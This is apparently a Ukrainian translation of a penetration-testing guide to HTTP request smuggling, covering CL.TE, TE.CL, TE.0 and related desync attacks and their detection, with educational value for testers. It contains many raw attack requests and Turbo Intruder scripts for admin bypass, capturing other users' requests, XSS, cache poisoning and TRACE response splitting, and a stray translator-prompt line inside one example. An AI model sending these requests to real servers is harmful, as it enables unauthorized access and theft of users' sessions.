8kSec Academy – In-Depth Mobile Security Courses

Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified.

Get certified

HTTP Request Smuggling / HTTP Desync Attack

Reading time: 23 minutes

Що таке

Ця вразливість виникає, коли десинхронізація між фронтальними проксі та бекенд сервером дозволяє зловмиснику надіслати HTTP запит, який буде інтерпретований як один запит фронтальними проксі (балансування навантаження/реверсний проксі) і як 2 запити бекенд сервером.
Це дозволяє користувачу модифікувати наступний запит, який надходить до бекенд сервера після його.

Теорія

RFC Специфікація (2161)

Якщо повідомлення отримано з обома заголовками Transfer-Encoding та Content-Length, останній ПОВИНЕН бути проігнорований.

Content-Length

Заголовок Content-Length вказує розмір тіла сутності в байтах, надісланих отримувачу.

Transfer-Encoding: chunked

Заголовок Transfer-Encoding вказує форму кодування, що використовується для безпечної передачі тіла навантаження користувачу.
Chunked означає, що великі дані надсилаються серією частин.

Реальність

Фронтальне (балансування навантаження / Реверсний Проксі) обробляє content-length або transfer-encoding заголовок, а бекенд сервер обробляє інший, викликаючи десинхронізацію між 2 системами.
Це може бути дуже критично, оскільки зловмисник зможе надіслати один запит до реверсного проксі, який буде інтерпретований бекенд сервером як 2 різні запити. Небезпека цієї техніки полягає в тому, що бекенд сервер інтерпретує 2-й запит, що інжектується, як якщо б він надійшов від наступного клієнта, а реальний запит цього клієнта буде частиною інжектованого запиту.

Особливості

Пам'ятайте, що в HTTP новий символ рядка складається з 2 байтів:

• Content-Length: Цей заголовок використовує десяткове число для вказівки кількості байтів тіла запиту. Тіло, як очікується, закінчується останнім символом, новий рядок не потрібен в кінці запиту.
• Transfer-Encoding: Цей заголовок використовує в тілі шістнадцяткове число для вказівки кількості байтів наступного фрагмента. Фрагмент повинен закінчуватися новим рядком, але цей новий рядок не враховується індикатором довжини. Цей метод передачі повинен закінчуватися фрагментом розміром 0, за яким слідують 2 нові рядки: 0
• Connection: Згідно з моїм досвідом, рекомендується використовувати Connection: keep-alive в першому запиті при використанні HTTP Request Smuggling.

Основні приклади

Атаки HTTP request smuggling створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки Content-Length (CL) та Transfer-Encoding (TE). Ці атаки можуть проявлятися в різних формах, головним чином як CL.TE, TE.CL та TE.TE. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритетизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.

Основні приклади типів вразливостей

Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом)

• Фронтальне (CL): Обробляє запит на основі заголовка Content-Length.

• Бекенд (TE): Обробляє запит на основі заголовка Transfer-Encoding.

• Сценарій атаки:

• Зловмисник надсилає запит, де значення заголовка Content-Length не відповідає фактичній довжині вмісту.

• Фронтальний сервер пересилає весь запит до бекенду на основі значення Content-Length.

• Бекенд сервер обробляє запит як фрагментований через заголовок Transfer-Encoding: chunked, інтерпретуючи залишкові дані як окремий, наступний запит.

• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом)

• Фронтальне (TE): Обробляє запит на основі заголовка Transfer-Encoding.

• Бекенд (CL): Обробляє запит на основі заголовка Content-Length.

• Сценарій атаки:

• Зловмисник надсилає фрагментований запит, де розмір фрагмента (7b) і фактична довжина вмісту (Content-Length: 4) не збігаються.

• Фронтальний сервер, дотримуючись Transfer-Encoding, пересилає весь запит до бекенду.

• Бекенд сервер, поважаючи Content-Length, обробляє лише початкову частину запиту (7b байтів), залишаючи решту частиною ненавмисного наступного запиту.

• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Вразливість TE.TE (Transfer-Encoding використовується обома, з обфускацією)

• Сервери: Обидва підтримують Transfer-Encoding, але один може бути обманутий, щоб ігнорувати його через обфускацію.

• Сценарій атаки:

• Зловмисник надсилає запит з обфускованими заголовками Transfer-Encoding.

• В залежності від того, який сервер (фронтальний або бекенд) не розпізнає обфускацію, може бути експлуатована вразливість CL.TE або TE.CL.

• Непроцесована частина запиту, як видно з одного з серверів, стає частиною наступного запиту, що призводить до смуглінгу.

• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Сценарій CL.CL (Content-Length використовується як фронтальним, так і бекендом)

• Обидва сервери обробляють запит виключно на основі заголовка Content-Length.
• Цей сценарій зазвичай не призводить до смуглінгу, оскільки існує узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

Сценарій CL.0

• Відноситься до сценаріїв, де заголовок Content-Length присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок Content-Length (який обробляється як 0), але фронтальний його парсить.
• Це важливо для розуміння та створення атак смуглінгу, оскільки це впливає на те, як сервери визначають кінець запиту.
• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

Сценарій TE.0

• Як попередній, але з використанням TE
• Техніка повідомлена тут
• Приклад:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Ломання веб-сервера

Ця техніка також корисна в сценаріях, де можливо зламати веб-сервер під час читання початкових HTTP-даних, але без закриття з'єднання. Таким чином, тіло HTTP-запиту буде вважатися наступним HTTP-запитом.

Наприклад, як пояснено в цьому описі, у Werkzeug було можливо надіслати деякі Unicode символи, і це призведе до зламу сервера. Однак, якщо HTTP-з'єднання було створено з заголовком Connection: keep-alive, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому тіло запиту буде розглядатися як наступний HTTP-запит.

Примус через заголовки hop-by-hop

Зловживаючи заголовками hop-by-hop, ви можете вказати проксі видалити заголовок Content-Length або Transfer-Encoding, щоб зловживання HTTP-запитом було можливим.

Connection: Content-Length

Для додаткової інформації про заголовки hop-by-hop відвідайте:

hop-by-hop headers

Виявлення HTTP Request Smuggling

Виявлення вразливостей HTTP request smuggling часто можна досягти за допомогою технік таймінгу, які базуються на спостереженні за тим, скільки часу потрібно серверу для відповіді на маніпульовані запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім цих методів, існують інші стратегії та інструменти, які можна використовувати для знаходження таких вразливостей:

Виявлення вразливостей CL.TE за допомогою технік таймінгу

• Метод:

• Надішліть запит, який, якщо додаток вразливий, змусить сервер на задньому плані чекати на додаткові дані.

• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Спостереження:

• Сервер на передньому плані обробляє запит на основі Content-Length і перериває повідомлення передчасно.

• Сервер на задньому плані, очікуючи на частину повідомлення, чекає на наступну частину, яка ніколи не приходить, що викликає затримку.

• Індикатори:

• Тайм-аути або тривалі затримки у відповіді.

• Отримання помилки 400 Bad Request від сервера на задньому плані, іноді з детальною інформацією про сервер.

Виявлення вразливостей TE.CL за допомогою технік таймінгу

• Метод:

• Надішліть запит, який, якщо додаток вразливий, змусить сервер на задньому плані чекати на додаткові дані.

• Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Спостереження:
• Сервер на передньому плані обробляє запит на основі Transfer-Encoding і пересилає все повідомлення.
• Сервер на задньому плані, очікуючи на повідомлення на основі Content-Length, чекає на додаткові дані, які ніколи не приходять, що викликає затримку.

Інші методи для виявлення вразливостей

• Аналіз диференційних відповідей:
• Надішліть трохи змінені версії запиту та спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
• Використання автоматизованих інструментів:
• Інструменти, такі як розширення 'HTTP Request Smuggler' у Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді.
• Тести на варіацію Content-Length:
• Надішліть запити з різними значеннями Content-Length, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
• Тести на варіацію Transfer-Encoding:
• Надішліть запити з заплутаними або неправильно сформованими заголовками Transfer-Encoding і спостерігайте, як по-різному реагують сервери на передньому та задньому плані на такі маніпуляції.

Тестування вразливостей HTTP Request Smuggling

Після підтвердження ефективності технік таймінгу важливо перевірити, чи можна маніпулювати запитами клієнта. Простий метод - спробувати отруїти свої запити, наприклад, зробивши запит до /, щоб отримати відповідь 404. Приклади CL.TE та TE.CL, обговорені раніше в Основних прикладах, демонструють, як отруїти запит клієнта, щоб викликати відповідь 404, незважаючи на те, що клієнт намагається отримати доступ до іншого ресурсу.

Ключові міркування

При тестуванні на вразливості request smuggling, втручаючись в інші запити, пам'ятайте:

• Відокремлені мережеві з'єднання: "Атакуючі" та "нормальні" запити повинні надсилатися через окремі мережеві з'єднання. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
• Послідовні URL та параметри: Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних серверів на задньому плані на основі URL та параметрів. Відповідність цим підвищує ймовірність того, що обидва запити обробляються одним і тим же сервером, що є передумовою для успішної атаки.
• Таймінг та умови гонки: "Нормальний" запит, призначений для виявлення втручання з боку "атакуючого" запиту, конкурує з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атакуючого" запиту. Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
• Виклики балансування навантаження: Сервери на передньому плані, які виконують функції балансування навантаження, можуть розподіляти запити між різними системами на задньому плані. Якщо "атакуючі" та "нормальні" запити потрапляють на різні системи, атака не буде успішною. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
• Непередбачуваний вплив на користувачів: Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "нормальний" запит, який ви надіслали для виявлення), це вказує на те, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, що вимагає обережного підходу.

Зловживання HTTP Request Smuggling

Обхід безпеки на передньому плані через HTTP Request Smuggling

Іноді проксі-сервери на передньому плані впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до /admin може бути заборонений ззовні, а проксі на передньому плані активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.

Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу контролю безпеки на передньому плані, зокрема націлюючись на шлях /admin, який зазвичай охороняється проксі на передньому плані:

Приклад CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

У атаці CL.TE заголовок Content-Length використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок Transfer-Encoding: chunked. Фронтальний проксі обробляє початковий POST запит, але не перевіряє вбудований запит GET /admin, що дозволяє несанкціонований доступ до шляху /admin.

TE.CL Приклад

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Навпаки, в атаці TE.CL початковий POST запит використовує Transfer-Encoding: chunked, а наступний вбудований запит обробляється на основі заголовка Content-Length. Подібно до атаки CL.TE, фронтальний проксі ігнорує підслуханий GET /admin запит, ненавмисно надаючи доступ до обмеженого /admin шляху.

Виявлення переписування запитів фронтального проксі

Додатки часто використовують фронтальний сервер для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як X-Forwarded-For: <IP клієнта>, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи обійти захист або виявити приховану інформацію чи кінцеві точки.

Щоб дослідити, як проксі змінює запит, знайдіть POST параметр, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

У цій структурі наступні компоненти запиту додаються після search=, що є параметром, відображеним у відповіді. Це відображення відкриє заголовки наступного запиту.

Важливо узгодити заголовок Content-Length вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з невеликого значення і поступово збільшувати, оскільки занадто низьке значення обрізає відображені дані, а занадто високе може призвести до помилки запиту.

Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.

Цей метод в основному служить для розуміння модифікацій запиту, зроблених проксі-сервером фронтенду, фактично виконуючи самостійне розслідування.

Capturing other users' requests

Цілком можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити:

Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

У цьому сценарії параметр коментаря призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар.

Однак у цього методу є обмеження. Як правило, він захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих форм, цей роздільник - це символ &. Це означає, що захоплений вміст з запиту жертви зупиниться на першому &, який може бути навіть частиною рядка запиту.

Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит має закінчуватися на search=\r\n0. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.

Використання HTTP request smuggling для експлуатації відображеного XSS

HTTP Request Smuggling можна використовувати для експлуатації веб-сторінок, вразливих до Reflected XSS, що пропонує значні переваги:

• Взаємодія з цільовими користувачами не потрібна.
• Дозволяє експлуатувати XSS у частинах запиту, які зазвичай недоступні, таких як заголовки HTTP-запиту.

У сценаріях, коли веб-сайт вразливий до Reflected XSS через заголовок User-Agent, наступний payload демонструє, як експлуатувати цю вразливість:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Цей payload структурований для експлуатації вразливості шляхом:

1. Ініціювання POST запиту, що виглядає типовим, з заголовком Transfer-Encoding: chunked, щоб вказати на початок контрабанди.
2. Наступним є 0, що позначає кінець тіла повідомлення з частинами.
3. Потім вводиться контрабандний GET запит, де заголовок User-Agent інжектується скриптом, <script>alert(1)</script>, що викликає XSS, коли сервер обробляє цей наступний запит.

Маніпулюючи User-Agent через контрабанду, payload обходить звичайні обмеження запитів, таким чином експлуатуючи вразливість Reflected XSS нестандартним, але ефективним способом.

HTTP/0.9

Версія HTTP/0.9 була попередньою до 1.0 і використовує лише GET дієслова та не відповідає з заголовками, лише тілом.

У цьому описі це було зловжито з контрабандою запиту та вразливим кінцевим пунктом, який відповідає на введення користувача, щоб контрабандно надіслати запит з HTTP/0.9. Параметр, який буде відображено у відповіді, містив фальшиву HTTP/1.1 відповідь (з заголовками та тілом), тому відповідь міститиме дійсний виконуваний JS код з Content-Type text/html.

Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling

Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка Host у URL перенаправлення. Це поширено серед веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:

GET /home HTTP/1.1
Host: normal-website.com

Результати в:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Хоча на перший погляд це може здаватися безпечним, цю поведінку можна маніпулювати за допомогою HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Цей підроблений запит може призвести до того, що наступний оброблений запит користувача буде перенаправлено на веб-сайт, контрольований зловмисником:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Результати в:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

У цьому сценарії запит користувача на файл JavaScript перехоплюється. Зловмисник може потенційно скомпрометувати користувача, надаючи шкідливий JavaScript у відповідь.

Використання отруєння веб-кешу через HTTP Request Smuggling

Отруєння веб-кешу може бути виконано, якщо будь-який компонент інфраструктури фронтенду кешує контент, зазвичай для покращення продуктивності. Маніпулюючи відповіддю сервера, можна отруїти кеш.

Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. Основні приклади). Аналогічно, можливо обманути сервер, щоб він надав контент /index.html у відповідь на запит /static/include.js. В результаті, контент /static/include.js замінюється в кеші на контент /index.html, що робить /static/include.js недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS).

Ця техніка стає особливо потужною, якщо виявлено вразливість Open Redirect або якщо є перенаправлення на сайті до відкритого перенаправлення. Такі вразливості можуть бути використані для заміни кешованого контенту /static/include.js на скрипт під контролем зловмисника, що фактично дозволяє здійснити масовану атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений /static/include.js.

Нижче наведено ілюстрацію використання отруєння кешу в поєднанні з перенаправленням на сайті до відкритого перенаправлення. Мета полягає в тому, щоб змінити кешований контент /static/include.js, щоб надати JavaScript-код, контрольований зловмисником:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Зверніть увагу на вбудований запит, що націлений на /post/next?postId=3. Цей запит буде перенаправлено на /post?postId=4, використовуючи значення заголовка Host для визначення домену. Змінивши заголовок Host, зловмисник може перенаправити запит на свій домен (внутрішнє перенаправлення на відкритий редирект).

Після успішного отруєння сокетів слід ініціювати GET запит на /static/include.js. Цей запит буде забруднений попереднім запитом внутрішнього перенаправлення на відкритий редирект і отримає вміст скрипта, контрольованого зловмисником.

В подальшому будь-який запит на /static/include.js буде подавати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.

Використання HTTP request smuggling для виконання обману веб-кешу

У чому різниця між отруєнням веб-кешу та обманом веб-кешу?

• У отруєнні веб-кешу зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст подається з кешу іншим користувачам додатка.
• У обмані веб-кешу зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу.

Зловмисник створює підроблений запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Якщо цей підроблений запит отруює кеш-елемент, призначений для статичного контенту (наприклад, /someimage.png), чутливі дані жертви з /private/messages можуть бути кешовані під кеш-елементом статичного контенту. Внаслідок цього, зловмисник потенційно може отримати ці кешовані чутливі дані.

Зловживання TRACE через HTTP Request Smuggling

У цьому пості пропонується, що якщо сервер має активований метод TRACE, його можна зловживати за допомогою HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Please provide the text you would like me to translate.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Прикладом зловживання цією поведінкою буде проведення спочатку запиту HEAD. На цей запит буде відповідано лише заголовками запиту GET (Content-Type серед них). І відразу після HEAD буде проведено запит TRACE, який буде відображати надіслані дані.
Оскільки відповідь на HEAD міститиме заголовок Content-Length, відповідь на запит TRACE буде розглядатися як тіло відповіді на HEAD, отже, відображаючи довільні дані у відповіді.
Ця відповідь буде надіслана до наступного запиту через з'єднання, тому це може бути використано, наприклад, у кешованому JS файлі для впровадження довільного JS коду.

Зловживання TRACE через HTTP Response Splitting

Продовжуючи слідувати цьому посту, пропонується ще один спосіб зловживання методом TRACE. Як зазначено, зловживаючи запитом HEAD і запитом TRACE, можна контролювати деякі відображені дані у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.

Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (яка може бути використана для виконання отруєння кешу).

Приклад:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Згенерує ці ці responses (зверніть увагу, як відповідь HEAD має Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь проникає):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Озброєння HTTP Request Smuggling за допомогою HTTP Response Desynchronisation

Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати. Спробуйте ці інші методи експлуатації:

HTTP Response Smuggling / Desync

Інші техніки HTTP Request Smuggling

• HTTP Request Smuggling у браузері (Клієнтська сторона)

Browser HTTP Request Smuggling

• Request Smuggling у зниженні версії HTTP/2

Request Smuggling in HTTP/2 Downgrades

Скрипти Turbo intruder

CL.TE

З https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Від: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Інструменти

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Цей інструмент є HTTP Fuzzer на основі граматики, корисний для виявлення дивних розбіжностей у запитах на контрабанду.

Посилання

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/